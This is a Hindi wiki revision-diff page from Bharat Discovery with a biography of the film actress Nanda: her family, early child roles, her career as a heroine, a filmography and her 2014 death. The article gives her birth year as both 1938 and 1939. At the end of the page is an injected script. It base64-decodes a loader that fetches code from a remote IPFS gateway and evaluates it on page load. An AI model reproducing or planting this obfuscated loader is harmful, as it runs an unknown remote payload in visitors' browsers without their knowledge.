"नन्दा": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
No edit summary
 
(5 सदस्यों द्वारा किए गए बीच के 22 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
{{बहुविकल्प|बहुविकल्पी शब्द=नंदा |लेख का नाम=नंदा (बहुविकल्पी)}}
*यह प्रथमा, षष्ठी एवं एकादशी तिथियों पर नन्दा के उपनाम से पुकारी जाती हैं।
{{सूचना बक्सा कलाकार
|चित्र=Nanda-Actress.jpg
|चित्र का नाम=नन्दा
|पूरा नाम=नन्दा
|प्रसिद्ध नाम=
|अन्य नाम=
|जन्म= [[8 जनवरी]], [[1938]]
|जन्म भूमि=[[कोल्हापुर]], [[महाराष्ट्र]]
|मृत्यु=[[25 मार्च]], [[2014]]
|मृत्यु स्थान=[[मुम्बई]], [[महाराष्ट्र]]
|अभिभावक=विनायक दामोदर
|पति/पत्नी=
|संतान=
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र=भारतीय सिनेमा
|मुख्य रचनाएँ=
|मुख्य फ़िल्में='तूफ़ान और दिया', 'तीन देवियाँ', 'गुमनाम', 'नींद हमारी ख्वाब तुम्हारे', 'धरती कहे पुकार के', 'धूल का फूल', 'जब जब फूल खिले', 'छोटी बहन' आदि।
|विषय=
|शिक्षा=
|विद्यालय=
|पुरस्कार-उपाधि=सर्वश्रेष्ठ सहनायिका का फ़िल्मफेयर पुरस्कार (फ़िल्म- 'आंचल')
|प्रसिद्धि=अभिनेत्री
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=विशेष
|पाठ 1=इनके चाचा [[हिन्दी]] और [[मराठी]] फ़िल्मों के सुप्रसिद्ध फ़िल्मकार [[वी. शांताराम]] थे।
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=इनकी सगाई फ़िल्म निर्माता मनमोहन देसाई से हुई थी लेकिन सगाई के कुछ ही दिन बाद फ़िल्म निर्माता मनमोहन देसाई की अकस्मात मौत हो गयी थी, जिसकी वजह से नंदा को इतना गहरा झटका लगा कि उन्होंने फिर कभी किसी से शादी के बारे में सोचा ही नहीं। 
|बाहरी कड़ियाँ=
|अद्यतन=
}}
'''नन्दा''' ([[अंग्रेज़ी]]: ''Nanda'', जन्म: [[8 जनवरी]], [[1938]]; मृत्यु: [[25 मार्च]], [[2014]]) भारतीय फ़िल्मों की प्रसिद्ध [[अभिनेत्री]] थीं। उन्होंने [[हिन्दी]] और [[मराठी]] फ़िल्मों में विशेष रूप से कार्य किया। अपने समय की प्रसिद्ध अभिनेत्रियों में नन्दा का नाम भी लिया जाता है। 60 और 70 के दशक की इस अदाकारा ने अपने फ़िल्मी सफ़र की शुरूआत एक बाल कलाकार के रूप में की थी। बाद में वे सफल नायिका बनीं और फिर चरित्र अभिनेत्री। अपने संवेदनशील अभिनय से उन्होंने कई फ़िल्मों में अपनी भूमिकाओं को बखूबी जीवंत किया।
==जन्म==
नन्दा का जन्म 8 जनवरी, सन 1938 में [[महाराष्ट्र]] के [[कोल्हापुर]] में हुआ था। इनके [[पिता]] का नाम विनायक दामोदर था, जो मराठी फ़िल्मों के एक सफल अभिनेता और निर्देशक थे। विनायक दामोदर 'मास्टर विनायक' के नाम से अधिक प्रसिद्ध थे। नन्दा अपने घर में सात भाई-बहनों में सबसे छोटी थीं। उनको अपने पिता का प्यार अधिक समय तक नहीं मिल सका। उनकी बाल्यावस्था में ही पिता का देहांत हो गया था। इसके बाद नन्दा के [[परिवार]] ने बड़ा कठिन समय व्यतीत किया। [[चित्र:Nanda-Waheeda-Helen-Sadhana.jpg|thumb|left|नन्दा, [[वहीदा रहमान]], [[हेलन]] और [[साधना (अभिनेत्री)|साधना]] (बाएँ से दाएँ)]]
==फ़िल्मों में प्रवेश==
[[नृत्य]] और अभिनय का शौक़ नन्दा को बचपन से ही था। जब वे मात्र छ: साल की थीं, तभी उनके पिता ने उन्हें अपनी मराठी फ़िल्म में काम करने को कहा था। पहले तो नन्दा ने इनकार कर दिया, लेकिन बाद में माँ के समझाने पर वे राजी हो गईं। इस प्रकार नन्दा ने अपने फ़िल्मी सफ़र की शुरुआत एक बाल कलाकार के रूप में की। उन्होंने सबसे पहले वर्ष [[1948]] में आई फ़िल्म 'मन्दिर' में बतौर बाल कलाकार के रूप में काम किया।
====नायिका के रूप में प्रतिष्ठित====
पिता की मृत्यु के बाद इनके घर की माली हालत काफ़ी खराब हो गई और नन्दा को अपने भाई-बहनों के साथ इनके चाचा के पास भेज दिया गया। इनके चाचा [[हिन्दी]] और [[मराठी]] फ़िल्मों के सुप्रसिद्ध फ़िल्मकार [[वी. शांताराम]] थे। उनके घर जाना भी एक अच्छा शगुन था। इनके चाचा ने नन्दा को प्रेरित किया और इस योग्य बनाया कि वे घर के हालात को संभाल सकें। उन्होंने ही पहली बार नन्दा को एक अच्छी और बड़ी भूमिका अपनी फ़िल्म "तूफान और दीया" में दी और शानदार ढंग से परदे पर पेश किया। यह फ़िल्म बेहद सफल रही। 'तूफान और दीया' की सफलता से नन्दा [[भारतीय सिनेमा]] में नायिका के रूप में प्रतिष्ठित हो गईं। इस फ़िल्म में काम करने और इसकी सफलता की जहाँ नन्दा की बेहद खुशी थी, वहीं इस बात का दु:ख भी था कि फ़िल्म के प्रदर्शन से पहले ही पिता का देहांत हो गया था।
====शशि कपूर के साथ जमी जोड़ी====
अभिनेत्री नन्दा ने अपने समय के मशहूर अभिनेता [[शशि कपूर]] के साथ कई यादगार फ़िल्मों में काम किया है। फ़िल्मों में लगातार असफल होने के बावजूद नन्दा का विश्वास शशि कपूर में बना रहा। आखिर में सूरज प्रकाश निर्देशित फ़िल्म "जब-जब फूल खिले" वर्ष [[1965]] में प्रदर्शित हुई। इस फ़िल्म का एक गीत था- "एक था गुल और एक थी बुलबुल" के द्वारा कही गई रोमांटिक कहानी ने सिल्वर गोल्डन जुबली मनाई। शशि कपूर और नन्दा की सफल जोड़ी बाद में भी कई फ़िल्मों में दोहराई गई।
[[चित्र:Nanda-devanand.jpg|thumb|नन्दा और [[देव आनंद]], फ़िल्म 'हम दोनों']]
==प्रमुख फ़िल्में==
{| width="60%" class="bharattable-pink"
|+अभिनेत्री नन्दा की प्रमुख फ़िल्में
|-
! फ़िल्म
! वर्ष
! फ़िल्म
! वर्ष
|-
|प्रेम रोग
|1983
|मज़दूर
|1982
|-
|आहिस्ता आहिस्ता
|1981
|जुर्म और सज़ा
|1974
|-
|असलियत
|1974
|छलिया
|1973
|-
|जोरू का ग़ुलाम
|1972
|प्रायश्चित
|1972
|-
|परिणीता
|1972
|शोर
|1972
|-
|अधिकार
|1971
|रूठा न करो
|1970
|-
|बड़ी दीदी
|1969
|धरती कहे पुकार के
|1969
|-
|बेटी
|1969
|अभिलाषा
|1968
|-
|परिवार
|1967
|नींद हमारी ख्वाब तुम्हारे
|1966
|-
|बेदाग
|1965
|आकाशदीप
|1965
|-
|मोहब्बत इसको कहते हैं
|1965
|गुमनाम
|1965
|-
|जब जब फूल खिले
|1965
|तीन देवियाँ
|1965
|-
|नर्तकी
|1963
|आज और कल
|1963
|-
|आशिक
|1962
|हम दोनों
|1961
|-
|उसने कहा था
|1960
|अपना घर
|1960
|-
|छोटी बहन
|1959
|क़ैदी नं. 911
|1959
|-
|पहली रात
|1959
|दुल्हन
|1958
|-
|धूल का फूल
|1959
|तूफ़ान और दिया
|1956
|-
|शतरंज
|[[1956]]
|जगतगुरु शंकराचार्य
|[[1955]] (बाल भूमिका)
|-
|जागृति
|[[1954]] (बाल भूमिका)
|जग्गू
|[[1952]] (बाल भूमिका)
|-
|मन्दिर
 
|[[1948]] (बाल भूमिका)
|
|
|}
==निधन समाचार==
;25  मार्च, 2014 मंगलवार
अपने बेजोड़ अभिनय के लिए जानी जाने वाली मशहूर अभिनेत्री नन्दा का [[25  मार्च]], [[2014]] [[मंगलवार]] को सुबह निधन हो गया। वह 75 साल की थीं। वर्ष [[1939]] में [[मराठी]] फ़िल्मों के प्रसिद्ध [[अभिनेता]] एवं निर्देशक विनायक दामोदर कर्नाटकी के घर पैदा हुई नंदा ने एक बाल कलाकार के रूप में अपने अभिनय जीवन की शुरुआत की थी। पिता की असमय मौत के कारण उन्होंने बहुत कम उम्र से अपने [[परिवार]] के पालन पोषण की जिम्मेदारी उठा ली थी। नंदा ने मात्र नौ साल की उम्र में बाल कलाकार के रूप में फ़िल्म 'मंदिर' के जरिये फ़िल्मी दुनिया में कदम रखा था। इसके बाद उन्होंने 'जग्गू', 'अंगारे', 'जागृति' जैसी फ़िल्मों में बतौर बाल कलाकार काम किया। नंदा अविवाहित थीं। कई बार उन्हें शादी के प्रस्ताव मिलते रहे लेकिन हर बार किसी किसी न किसी बहाने से उन्होंने शादी नहीं की। इसके बाद [[1992]] में अपने साथियों के कहने पर उन्होंने फ़िल्म निर्माता मनमोहन देसाई से सगाई की लेकिन दुर्भाग्य से शादी से पहले ही मनमोहन देसाई छत से नीचे गिर गए और उनकी मौत हो गयी।
====समाचार को विभिन्न स्रोतों पर पढ़ें====
*[http://navbharattimes.indiatimes.com/articleshow/32656486.cms नवभारत टाइम्स]
*[http://www.bbc.co.uk/hindi/entertainment/2014/03/140325_nanda_no_more_pkp.shtml बीबीसी हिंदी]
*[http://www.livehindustan.com/news/entertainment/entertainmentnews/article1-Veteran-Actress-Nanda-passes-away-at-75-28-28-410518.html हिंदुस्तान लाइव]
 
 
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}


==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==अन्य संबंधित लिंक==
==बाहरी कड़ियाँ==
{{पर्व और त्योहार}}
*[http://hindi.webdunia.com/entertainment-film-articles/%E0%A4%B6%E0%A4%B6%E0%A4%BF-%E0%A4%95%E0%A4%AA%E0%A5%82%E0%A4%B0-%E0%A4%B8%E0%A4%BF%E0%A4%A8%E0%A5%87%E0%A4%AE%E0%A4%BE-%E0%A4%95%E0%A4%BE-%E0%A4%89%E0%A4%A4%E0%A5%8D%E0%A4%B8%E0%A4%B5-%E0%A4%AE%E0%A4%A8%E0%A4%BE%E0%A4%A4%E0%A4%BE-%E0%A4%AB%E0%A4%95%E0%A5%80%E0%A4%B0%E0%A4%BE-1120317124_1.htm सिनेमा का उत्सव मनाता फ़कीरा]
{{व्रत और उत्सव}}
*[http://www.dailynewsnetwork.in/news/fmclassic/29012011/FM-Classic/27487.html अब यादों का पहरा है]
[[Category:व्रत और उत्सव]]
 
[[Category:पर्व_और_त्योहार]]
==संबंधित लेख==
[[Category:संस्कृति कोश]]
{{अभिनेत्री}}
[[Category:अभिनेत्री]][[Category:सिनेमा]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:कला कोश]][[Category:सिनेमा कोश]]
__INDEX__
__INDEX__
__NOTOC__

07:55, 12 अप्रैल 2018 के समय का अवतरण

नंदा एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- नंदा (बहुविकल्पी)
नन्दा
नन्दा
नन्दा
पूरा नाम नन्दा
जन्म 8 जनवरी, 1938
जन्म भूमि कोल्हापुर, महाराष्ट्र
मृत्यु 25 मार्च, 2014
मृत्यु स्थान मुम्बई, महाराष्ट्र
अभिभावक विनायक दामोदर
कर्म भूमि भारत
कर्म-क्षेत्र भारतीय सिनेमा
मुख्य फ़िल्में 'तूफ़ान और दिया', 'तीन देवियाँ', 'गुमनाम', 'नींद हमारी ख्वाब तुम्हारे', 'धरती कहे पुकार के', 'धूल का फूल', 'जब जब फूल खिले', 'छोटी बहन' आदि।
पुरस्कार-उपाधि सर्वश्रेष्ठ सहनायिका का फ़िल्मफेयर पुरस्कार (फ़िल्म- 'आंचल')
प्रसिद्धि अभिनेत्री
नागरिकता भारतीय
विशेष इनके चाचा हिन्दी और मराठी फ़िल्मों के सुप्रसिद्ध फ़िल्मकार वी. शांताराम थे।
अन्य जानकारी इनकी सगाई फ़िल्म निर्माता मनमोहन देसाई से हुई थी लेकिन सगाई के कुछ ही दिन बाद फ़िल्म निर्माता मनमोहन देसाई की अकस्मात मौत हो गयी थी, जिसकी वजह से नंदा को इतना गहरा झटका लगा कि उन्होंने फिर कभी किसी से शादी के बारे में सोचा ही नहीं।

नन्दा (अंग्रेज़ी: Nanda, जन्म: 8 जनवरी, 1938; मृत्यु: 25 मार्च, 2014) भारतीय फ़िल्मों की प्रसिद्ध अभिनेत्री थीं। उन्होंने हिन्दी और मराठी फ़िल्मों में विशेष रूप से कार्य किया। अपने समय की प्रसिद्ध अभिनेत्रियों में नन्दा का नाम भी लिया जाता है। 60 और 70 के दशक की इस अदाकारा ने अपने फ़िल्मी सफ़र की शुरूआत एक बाल कलाकार के रूप में की थी। बाद में वे सफल नायिका बनीं और फिर चरित्र अभिनेत्री। अपने संवेदनशील अभिनय से उन्होंने कई फ़िल्मों में अपनी भूमिकाओं को बखूबी जीवंत किया।

जन्म

नन्दा का जन्म 8 जनवरी, सन 1938 में महाराष्ट्र के कोल्हापुर में हुआ था। इनके पिता का नाम विनायक दामोदर था, जो मराठी फ़िल्मों के एक सफल अभिनेता और निर्देशक थे। विनायक दामोदर 'मास्टर विनायक' के नाम से अधिक प्रसिद्ध थे। नन्दा अपने घर में सात भाई-बहनों में सबसे छोटी थीं। उनको अपने पिता का प्यार अधिक समय तक नहीं मिल सका। उनकी बाल्यावस्था में ही पिता का देहांत हो गया था। इसके बाद नन्दा के परिवार ने बड़ा कठिन समय व्यतीत किया।

नन्दा, वहीदा रहमान, हेलन और साधना (बाएँ से दाएँ)

फ़िल्मों में प्रवेश

नृत्य और अभिनय का शौक़ नन्दा को बचपन से ही था। जब वे मात्र छ: साल की थीं, तभी उनके पिता ने उन्हें अपनी मराठी फ़िल्म में काम करने को कहा था। पहले तो नन्दा ने इनकार कर दिया, लेकिन बाद में माँ के समझाने पर वे राजी हो गईं। इस प्रकार नन्दा ने अपने फ़िल्मी सफ़र की शुरुआत एक बाल कलाकार के रूप में की। उन्होंने सबसे पहले वर्ष 1948 में आई फ़िल्म 'मन्दिर' में बतौर बाल कलाकार के रूप में काम किया।

नायिका के रूप में प्रतिष्ठित

पिता की मृत्यु के बाद इनके घर की माली हालत काफ़ी खराब हो गई और नन्दा को अपने भाई-बहनों के साथ इनके चाचा के पास भेज दिया गया। इनके चाचा हिन्दी और मराठी फ़िल्मों के सुप्रसिद्ध फ़िल्मकार वी. शांताराम थे। उनके घर जाना भी एक अच्छा शगुन था। इनके चाचा ने नन्दा को प्रेरित किया और इस योग्य बनाया कि वे घर के हालात को संभाल सकें। उन्होंने ही पहली बार नन्दा को एक अच्छी और बड़ी भूमिका अपनी फ़िल्म "तूफान और दीया" में दी और शानदार ढंग से परदे पर पेश किया। यह फ़िल्म बेहद सफल रही। 'तूफान और दीया' की सफलता से नन्दा भारतीय सिनेमा में नायिका के रूप में प्रतिष्ठित हो गईं। इस फ़िल्म में काम करने और इसकी सफलता की जहाँ नन्दा की बेहद खुशी थी, वहीं इस बात का दु:ख भी था कि फ़िल्म के प्रदर्शन से पहले ही पिता का देहांत हो गया था।

शशि कपूर के साथ जमी जोड़ी

अभिनेत्री नन्दा ने अपने समय के मशहूर अभिनेता शशि कपूर के साथ कई यादगार फ़िल्मों में काम किया है। फ़िल्मों में लगातार असफल होने के बावजूद नन्दा का विश्वास शशि कपूर में बना रहा। आखिर में सूरज प्रकाश निर्देशित फ़िल्म "जब-जब फूल खिले" वर्ष 1965 में प्रदर्शित हुई। इस फ़िल्म का एक गीत था- "एक था गुल और एक थी बुलबुल" के द्वारा कही गई रोमांटिक कहानी ने सिल्वर गोल्डन जुबली मनाई। शशि कपूर और नन्दा की सफल जोड़ी बाद में भी कई फ़िल्मों में दोहराई गई।

नन्दा और देव आनंद, फ़िल्म 'हम दोनों'

प्रमुख फ़िल्में

अभिनेत्री नन्दा की प्रमुख फ़िल्में
फ़िल्म वर्ष फ़िल्म वर्ष
प्रेम रोग 1983 मज़दूर 1982
आहिस्ता आहिस्ता 1981 जुर्म और सज़ा 1974
असलियत 1974 छलिया 1973
जोरू का ग़ुलाम 1972 प्रायश्चित 1972
परिणीता 1972 शोर 1972
अधिकार 1971 रूठा न करो 1970
बड़ी दीदी 1969 धरती कहे पुकार के 1969
बेटी 1969 अभिलाषा 1968
परिवार 1967 नींद हमारी ख्वाब तुम्हारे 1966
बेदाग 1965 आकाशदीप 1965
मोहब्बत इसको कहते हैं 1965 गुमनाम 1965
जब जब फूल खिले 1965 तीन देवियाँ 1965
नर्तकी 1963 आज और कल 1963
आशिक 1962 हम दोनों 1961
उसने कहा था 1960 अपना घर 1960
छोटी बहन 1959 क़ैदी नं. 911 1959
पहली रात 1959 दुल्हन 1958
धूल का फूल 1959 तूफ़ान और दिया 1956
शतरंज 1956 जगतगुरु शंकराचार्य 1955 (बाल भूमिका)
जागृति 1954 (बाल भूमिका) जग्गू 1952 (बाल भूमिका)
मन्दिर 1948 (बाल भूमिका)

निधन समाचार

25 मार्च, 2014 मंगलवार

अपने बेजोड़ अभिनय के लिए जानी जाने वाली मशहूर अभिनेत्री नन्दा का 25 मार्च, 2014 मंगलवार को सुबह निधन हो गया। वह 75 साल की थीं। वर्ष 1939 में मराठी फ़िल्मों के प्रसिद्ध अभिनेता एवं निर्देशक विनायक दामोदर कर्नाटकी के घर पैदा हुई नंदा ने एक बाल कलाकार के रूप में अपने अभिनय जीवन की शुरुआत की थी। पिता की असमय मौत के कारण उन्होंने बहुत कम उम्र से अपने परिवार के पालन पोषण की जिम्मेदारी उठा ली थी। नंदा ने मात्र नौ साल की उम्र में बाल कलाकार के रूप में फ़िल्म 'मंदिर' के जरिये फ़िल्मी दुनिया में कदम रखा था। इसके बाद उन्होंने 'जग्गू', 'अंगारे', 'जागृति' जैसी फ़िल्मों में बतौर बाल कलाकार काम किया। नंदा अविवाहित थीं। कई बार उन्हें शादी के प्रस्ताव मिलते रहे लेकिन हर बार किसी किसी न किसी बहाने से उन्होंने शादी नहीं की। इसके बाद 1992 में अपने साथियों के कहने पर उन्होंने फ़िल्म निर्माता मनमोहन देसाई से सगाई की लेकिन दुर्भाग्य से शादी से पहले ही मनमोहन देसाई छत से नीचे गिर गए और उनकी मौत हो गयी।

समाचार को विभिन्न स्रोतों पर पढ़ें


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>